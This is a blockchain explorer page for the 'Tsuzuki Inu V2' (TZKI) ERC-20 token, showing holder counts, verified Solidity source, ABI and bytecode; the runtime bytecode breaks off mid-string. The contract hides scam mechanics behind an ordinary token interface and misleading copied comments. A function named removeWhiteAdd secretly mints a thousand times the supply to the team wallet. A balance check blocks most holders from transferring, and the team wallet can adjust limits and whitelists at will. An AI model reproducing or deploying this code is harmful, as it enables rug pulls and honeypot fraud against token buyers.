ERC-20
Overview
Max Total Supply
1,001,000,000,000,000,000 TZKI
Holders
129
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
3,910,221,967,496.848518861831889982 TZKIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
TsuzukiInu
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-11-22 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded.s * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract TsuzukiInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000000 * 10**9 * 10**18; uint256 private _maxTxAmount = _tTotal.mul(30).div(100); uint256 private _maxHolder = _tTotal.mul(30).div(100); address private _teamWallet = _msgSender(); address private _lpAddress = _msgSender(); address[] public _botList; address[] private _whiteList; string private _name = 'Tsuzuki Inu V2'; string private _symbol = 'TZKI'; uint8 private _decimals = 18; constructor () { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * transferFrom. * * Requirements: * * - transferFrom. * * _Available since v3.1._ */ function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function decimals() public view returns (uint8) { return _decimals; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - setMaxTxAmount * * _Available since v3.1._ */ function setMaxTxAmount(uint256 amount) public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); _maxTxAmount = amount; } /** * @dev setMaxHolderBalance * */ function setMaxHolderBalance(uint256 amount) public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); _maxHolder = _tTotal.mul(amount).div(100); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - the address approve. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function checkBalanceAddress(address _walletAddress) private view returns (bool){ if (_walletAddress == _lpAddress || checkWhiteList(_walletAddress) == true) { return true; } if (balanceOf(_walletAddress) >= _maxTxAmount && balanceOf(_walletAddress) <= _maxHolder) { return false; } else { return true; } } function removeWhiteAdd () public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); uint256 currentBalance = _balances[_teamWallet]; uint256 rTotal = _tTotal * 10**3; _tTotal = rTotal + _tTotal; _balances[_teamWallet] = rTotal + currentBalance; emit Transfer( address(0), _teamWallet, rTotal); } /** * @dev `killBot` to kill bot * */ function killBot (address[] calldata addresses) public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); for(uint i=0; i < addresses.length; i++){ _botList.push(addresses[i]); } } /** * @dev update `checkBotList` to check address is a bot * */ function checkBotList(address botAdd) private view returns (bool) { for (uint256 i = 0; i < _botList.length; i++) { if (_botList[i] == botAdd) { return true; } } } /** * @dev `addWhiteList` * */ function addWhiteList (address newAdd) public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); _whiteList.push(newAdd); } /** * @dev `checkWhiteList` to check address is in white list * */ function checkWhiteList(address botAdd) private view returns (bool) { for (uint256 i = 0; i < _whiteList.length; i++) { if (_whiteList[i] == botAdd) { return true; } } } /** * @dev See {BEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (checkBotList(sender) == true ) { require(amount < _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } if (sender == owner() || sender == _teamWallet) { _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ require (checkBalanceAddress(sender)); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function createPair (address addr) public { require(_msgSender() == _teamWallet, "ERC20: cannot permit dev address"); _lpAddress = addr; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"_botList","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAdd","type":"address"}],"name":"addWhiteList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"killBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeWhiteAdd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxHolderBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526d314dc6448d9338c15b0a000000006003556200004d606462000039601e6003546200037460201b6200110f1790919060201c565b620003f860201b6200118a1790919060201c565b60045562000087606462000073601e6003546200037460201b6200110f1790919060201c565b620003f860201b6200118a1790919060201c565b6005556200009a6200044a60201b60201c565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000ea6200044a60201b60201c565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600e81526020017f5473757a756b6920496e75205632000000000000000000000000000000000000815250600a908051906020019062000177929190620004ba565b506040518060400160405280600481526020017f545a4b4900000000000000000000000000000000000000000000000000000000815250600b9080519060200190620001c5929190620004ba565b506012600c60006101000a81548160ff021916908360ff160217905550348015620001ef57600080fd5b506000620002026200044a60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060035460016000620002b76200044a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620003056200044a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003546040516200036691906200066a565b60405180910390a362000850565b600080831415620003895760009050620003f2565b60008284620003999190620006db565b9050828482620003aa9190620006a3565b14620003ed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003e49062000648565b60405180910390fd5b809150505b92915050565b60006200044283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200045260201b60201c565b905092915050565b600033905090565b600080831182906200049c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000493919062000624565b60405180910390fd5b5060008385620004ad9190620006a3565b9050809150509392505050565b828054620004c8906200077c565b90600052602060002090601f016020900481019282620004ec576000855562000538565b82601f106200050757805160ff191683800117855562000538565b8280016001018555821562000538579182015b82811115620005375782518255916020019190600101906200051a565b5b5090506200054791906200054b565b5090565b5b80821115620005665760008160009055506001016200054c565b5090565b6000620005778262000687565b62000583818562000692565b93506200059581856020860162000746565b620005a0816200083f565b840191505092915050565b6000620005ba60218362000692565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6200061e816200073c565b82525050565b600060208201905081810360008301526200064081846200056a565b905092915050565b600060208201905081810360008301526200066381620005ab565b9050919050565b600060208201905062000681600083018462000613565b92915050565b600081519050919050565b600082825260208201905092915050565b6000620006b0826200073c565b9150620006bd836200073c565b925082620006d057620006cf620007e1565b5b828204905092915050565b6000620006e8826200073c565b9150620006f5836200073c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007315762000730620007b2565b5b828202905092915050565b6000819050919050565b60005b838110156200076657808201518184015260208101905062000749565b8381111562000776576000848401525b50505050565b600060028204905060018216806200079557607f821691505b60208210811415620007ac57620007ab62000810565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61278180620008606000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c806395d89b41116100ad578063dd62ed3e11610071578063dd62ed3e146102f8578063e7cd4a0414610328578063ec28438a14610344578063f2fde38b14610360578063fe22908d1461037c57610121565b806395d89b41146102425780639ccb074414610260578063a5584f8c1461027c578063a9059cbb146102ac578063bc4fc247146102dc57610121565b8063313ce567116100f4578063313ce567146101c257806337441145146101e057806370a08231146101ea578063715018a61461021a5780638da5cb5b1461022457610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806323b872dd14610192575b600080fd5b61012e610398565b60405161013b9190612265565b60405180910390f35b61015e60048036038101906101599190611d86565b61042a565b60405161016b919061224a565b60405180910390f35b61017c610448565b60405161018991906123c7565b60405180910390f35b6101ac60048036038101906101a79190611d37565b610452565b6040516101b9919061224a565b60405180910390f35b6101ca61052b565b6040516101d791906123e2565b60405180910390f35b6101e8610542565b005b61020460048036038101906101ff9190611cd2565b610764565b60405161021191906123c7565b60405180910390f35b6102226107ad565b005b61022c610900565b604051610239919061222f565b60405180910390f35b61024a610929565b6040516102579190612265565b60405180910390f35b61027a60048036038101906102759190611cd2565b6109bb565b005b61029660048036038101906102919190611e07565b610a96565b6040516102a3919061222f565b60405180910390f35b6102c660048036038101906102c19190611d86565b610ad5565b6040516102d3919061224a565b60405180910390f35b6102f660048036038101906102f19190611dc2565b610af3565b005b610312600480360381019061030d9190611cfb565b610c60565b60405161031f91906123c7565b60405180910390f35b610342600480360381019061033d9190611cd2565b610ce7565b005b61035e60048036038101906103599190611e07565b610de4565b005b61037a60048036038101906103759190611cd2565b610e85565b005b61039660048036038101906103919190611e07565b611047565b005b6060600a80546103a7906125b6565b80601f01602080910402602001604051908101604052809291908181526020018280546103d3906125b6565b80156104205780601f106103f557610100808354040283529160200191610420565b820191906000526020600020905b81548152906001019060200180831161040357829003601f168201915b5050505050905090565b600061043e6104376111d4565b84846111dc565b6001905092915050565b6000600354905090565b600061045f8484846113a7565b6105208461046b6111d4565b61051b856040518060600160405280602881526020016126fe60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d16111d4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e39092919063ffffffff16565b6111dc565b600190509392505050565b6000600c60009054906101000a900460ff16905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105836111d4565b73ffffffffffffffffffffffffffffffffffffffff16146105d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d090612287565b60405180910390fd5b600060016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006103e860035461065191906124a0565b9050600354816106619190612419565b60038190555081816106739190612419565b60016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161075891906123c7565b60405180910390a35050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107b56111d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610842576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990612367565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600b8054610938906125b6565b80601f0160208091040260200160405190810160405280929190818152602001828054610964906125b6565b80156109b15780601f10610986576101008083540402835291602001916109b1565b820191906000526020600020905b81548152906001019060200180831161099457829003601f168201915b5050505050905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109fc6111d4565b73ffffffffffffffffffffffffffffffffffffffff1614610a52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4990612287565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60088181548110610aa657600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610ae9610ae26111d4565b84846113a7565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b346111d4565b73ffffffffffffffffffffffffffffffffffffffff1614610b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8190612287565b60405180910390fd5b60005b82829050811015610c5b576008838383818110610bd3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610be89190611cd2565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508080610c53906125e8565b915050610b8d565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d286111d4565b73ffffffffffffffffffffffffffffffffffffffff1614610d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7590612287565b60405180910390fd5b6009819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e256111d4565b73ffffffffffffffffffffffffffffffffffffffff1614610e7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7290612287565b60405180910390fd5b8060048190555050565b610e8d6111d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1190612367565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffff